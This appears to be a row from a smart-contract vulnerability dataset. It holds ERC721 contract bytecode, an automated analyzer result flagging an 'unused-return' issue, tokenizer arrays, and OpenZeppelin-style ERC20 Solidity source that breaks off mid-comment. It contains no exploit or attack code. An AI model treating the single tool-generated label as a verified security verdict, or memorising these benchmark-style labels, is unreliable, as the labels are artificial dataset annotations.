ffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816008600083815260200190815260200160002081905550505b6008600084815260200190815260200160002060009055600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600980549050612b309190613bf0565b90506000600a6000848152602001908152602001600020549050600060098381548110612b86577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490508060098381548110612bce577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020018190555081600a600083815260200190815260200160002081905550600a6000858152602001908152602001600020600090556009805480612c43577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b6000612c6a83611004565b905081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806008600084815260200190815260200160002081905550505050565b828054612cea90613cda565b90600052602060002090601f016020900481019282612d0c5760008555612d53565b82601f10612d2557805160ff1916838001178555612d53565b82800160010185558215612d53579182015b82811115612d52578251825591602001919060010190612d37565b5b509050612d609190612e2a565b5090565b828054612d7090613cda565b90600052602060002090601f016020900481019282612d925760008555612dd9565b82601f10612dab57803560ff1916838001178555612dd9565b82800160010185558215612dd9579182015b82811115612dd8578235825591602001919060010190612dbd565b5b509050612de69190612e2a565b5090565b508054612df690613cda565b6000825580601f10612e085750612e27565b601f016020900490600052602060002090810190612e269190612e2a565b5b50565b5b80821115612e43576000816000905550600101612e2b565b5090565b6000612e5a612e5584613a55565b613a30565b905082815260208101848484011115612e7257600080fd5b612e7d848285613c98565b509392505050565b6000612e98612e9384613a86565b613a30565b905082815260208101848484011115612eb057600080fd5b612ebb848285613c98565b509392505050565b600081359050612ed2816143f5565b92915050565b600081359050612ee78161440c565b92915050565b600081359050612efc81614423565b92915050565b600081519050612f1181614423565b92915050565b600082601f830112612f2857600080fd5b8135612f38848260208601612e47565b91505092915050565b60008083601f840112612f5357600080fd5b8235905067ffffffffffffffff811115612f6c57600080fd5b602083019150836001820283011115612f8457600080fd5b9250929050565b600082601f830112612f9c57600080fd5b8135612fac848260208601612e85565b91505092915050565b600081359050612fc48161443a565b92915050565b600060208284031215612fdc57600080fd5b6000612fea84828501612ec3565b91505092915050565b6000806040838503121561300657600080fd5b600061301485828601612ec3565b925050602061302585828601612ec3565b9150509250929050565b60008060006060848603121561304457600080fd5b600061305286828701612ec3565b935050602061306386828701612ec3565b925050604061307486828701612fb5565b9150509250925092565b6000806000806080858703121561309457600080fd5b60006130a287828801612ec3565b94505060206130b387828801612ec3565b93505060406130c487828801612fb5565b925050606085013567ffffffffffffffff8111156130e157600080fd5b6130ed87828801612f17565b91505092959194509250565b6000806040838503121561310c57600080fd5b600061311a85828601612ec3565b925050602061312b85828601612ed8565b9150509250929050565b6000806040838503121561314857600080fd5b600061315685828601612ec3565b925050602061316785828601612fb5565b9150509250929050565b60006020828403121561318357600080fd5b600061319184828501612eed565b91505092915050565b6000602082840312156131ac57600080fd5b60006131ba84828501612f02565b91505092915050565b600080602083850312156131d657600080fd5b600083013567ffffffffffffffff8111156131f057600080fd5b6131fc85828601612f41565b92509250509250929050565b60006020828403121561321a57600080fd5b600082013567ffffffffffffffff81111561323457600080fd5b61324084828501612f8b565b91505092915050565b60006020828403121561325b57600080fd5b600061326984828501612fb5565b91505092915050565b61327b81613c24565b82525050565b61328a81613c36565b82525050565b600061329b82613acc565b6132a58185613ae2565b93506132b5818560208601613ca7565b6132be81613e73565b840191505092915050565b60006132d482613ad7565b6132de8185613af3565b93506132ee818560208601613ca7565b6132f781613e73565b840191505092915050565b600061330d82613ad7565b6133178185613b04565b9350613327818560208601613ca7565b80840191505092915050565b6000815461334081613cda565b61334a8186613b04565b945060018216600081146133655760018114613376576133a9565b60ff198316865281860193506133a9565b61337f85613ab7565b60005b838110156133a157815481890152600182019150602081019050613382565b838801955050505b50505092915050565b60006133bf601783613af3565b91506133ca82613e84565b602082019050919050565b60006133e2602b83613af3565b91506133ed82613ead565b604082019050919050565b6000613405603283613af3565b915061341082613efc565b604082019050919050565b6000613428602683613af3565b915061343382613f4b565b604082019050919050565b600061344b601c83613af3565b915061345682613f9a565b602082019050919050565b600061346e601083613af3565b915061347982613fc3565b602082019050919050565b6000613491602483613af3565b915061349c82613fec565b604082019050919050565b60006134b4601983613af3565b91506134bf8261403b565b602082019050919050565b60006134d7602c83613af3565b91506134e282614064565b604082019050919050565b60006134fa603883613af3565b9150613505826140b3565b604082019050919050565b600061351d602a83613af3565b915061352882614102565b604082019050919050565b6000613540602983613af3565b915061354b82614151565b604082019050919050565b6000613563602083613af3565b915061356e826141a0565b602082019050919050565b6000613586602c83613af3565b9150613591826141c9565b604082019050919050565b60006135a9602083613af3565b91506135b482614218565b602082019050919050565b60006135cc602983613af3565b91506135d782614241565b604082019050919050565b60006135ef602183613af3565b91506135fa82614290565b604082019050919050565b6000613612603183613af3565b915061361d826142df565b604082019050919050565b6000613635602c83613af3565b91506136408261432e565b604082019050919050565b6000613658601883613af3565b91506136638261437d565b602082019050919050565b600061367b603083613af3565b9150613686826143a6565b604082019050919050565b61369a81613c8e565b82525050565b60006136ac8286613302565b91506136b88285613302565b91506136c48284613333565b9150819050949350505050565b60006020820190506136e66000830184613272565b92915050565b60006080820190506137016000830187613272565b61370e6020830186613272565b61371b6040830185613691565b818103606083015261372d8184613290565b905095945050505050565b600060208201905061374d6000830184613281565b92915050565b6000602082019050818103600083015261376d81846132c9565b905092915050565b6000602082019050818103600083015261378e816133b2565b9050919050565b600060208201905081810360008301526137ae816133d5565b9050919050565b600060208201905081810360008301526137ce816133f8565b9050919050565b600060208201905081810360008301526137ee8161341b565b9050919050565b6000602082019050818103600083015261380e8161343e565b9050919050565b6000602082019050818103600083015261382e81613461565b9050919050565b6000602082019050818103600083015261384e81613484565b9050919050565b6000602082019050818103600083015261386e816134a7565b9050919050565b6000602082019050818103600083015261388e816134ca565b9050919050565b600060208201905081810360008301526138ae816134ed565b9050919050565b600060208201905081810360008301526138ce81613510565b9050919050565b600060208201905081810360008301526138ee81613533565b9050919050565b6000602082019050818103600083015261390e81613556565b9050919050565b6000602082019050818103600083015261392e81613579565b9050919050565b6000602082019050818103600083015261394e8161359c565b9050919050565b6000602082019050818103600083015261396e816135bf565b9050919050565b6000602082019050818103600083015261398e816135e2565b9050919050565b600060208201905081810360008301526139ae81613605565b9050919050565b600060208201905081810360008301526139ce81613628565b9050919050565b600060208201905081810360008301526139ee8161364b565b9050919050565b60006020820190508181036000830152613a0e8161366e565b9050919050565b6000602082019050613a2a6000830184613691565b92915050565b6000613a3a613a4b565b9050613a468282613d0c565b919050565b6000604051905090565b600067ffffffffffffffff821115613a7057613a6f613e44565b5b613a7982613e73565b9050602081019050919050565b600067ffffffffffffffff821115613aa157613aa0613e44565b5b613aaa82613e73565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000613b1a82613c8e565b9150613b2583613c8e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b5a57613b59613db7565b5b828201905092915050565b6000613b7082613c8e565b9150613b7b83613c8e565b925082613b8b57613b8a613de6565b5b828204905092915050565b6000613ba182613c8e565b9150613bac83613c8e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613be557613be4613db7565b5b828202905092915050565b6000613bfb82613c8e565b9150613c0683613c8e565b925082821015613c1957613c18613db7565b5b828203905092915050565b6000613c2f82613c6e565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613cc5578082015181840152602081019050613caa565b83811115613cd4576000848401525b50505050565b60006002820490506001821680613cf257607f821691505b60208210811415613d0657613d05613e15565b5b50919050565b613d1582613e73565b810181811067ffffffffffffffff82111715613d3457613d33613e44565b5b80604052505050565b6000613d4882613c8e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d7b57613d7a613db7565b5b600182019050919050565b6000613d9182613c8e565b9150613d9c83613c8e565b925082613dac57613dab613de6565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f4d494e543a4d415820535550504c592052454143484544000000000000000000600082015250565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4d494e543a53414c452050415553454400000000000000000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f4d494e543a4d53472e56414c554520494e434f52524543540000000000000000600082015250565b7f4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656400000000000000000000000000000000602082015250565b6143fe81613c24565b811461440957600080fd5b50565b61441581613c36565b811461442057600080fd5b50565b61442c81613c42565b811461443757600080fd5b50565b61444381613c8e565b811461444e57600080fd5b5056fea2646970667358221220330a601bfe86decce94580283264ac34d1d0ac03c87a7b83972259aa1aed088464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 16576, 2575, 27717, 19317, 2629, 2094, 23833, 2509, 2497, 23833, 2683, 16147, 2581, 2575, 5243, 2509, 2546, 17788, 17788, 6679, 10322, 16409, 2546, 21926, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 12325, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 14305, 1013, 9413, 2278, 2581, 17465, 9496, 23809, 4270, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 14305, 1013, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,031
0x96184d9c811ea0624fc30c80233b1d749b9e485b
/** *Submitted for verification at Etherscan.io on 2020-09-19 */ // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @dev Extension of {ERC20} that adds a cap to the supply of tokens. */ abstract contract ERC20Capped is ERC20 { using SafeMath for uint256; uint256 private _cap; /** * @dev Sets the value of the `cap`. This value is immutable, it can only be * set once during construction. */ constructor (uint256 cap) { require(cap > 0, "ERC20Capped: cap is 0"); _cap = cap; } /** * 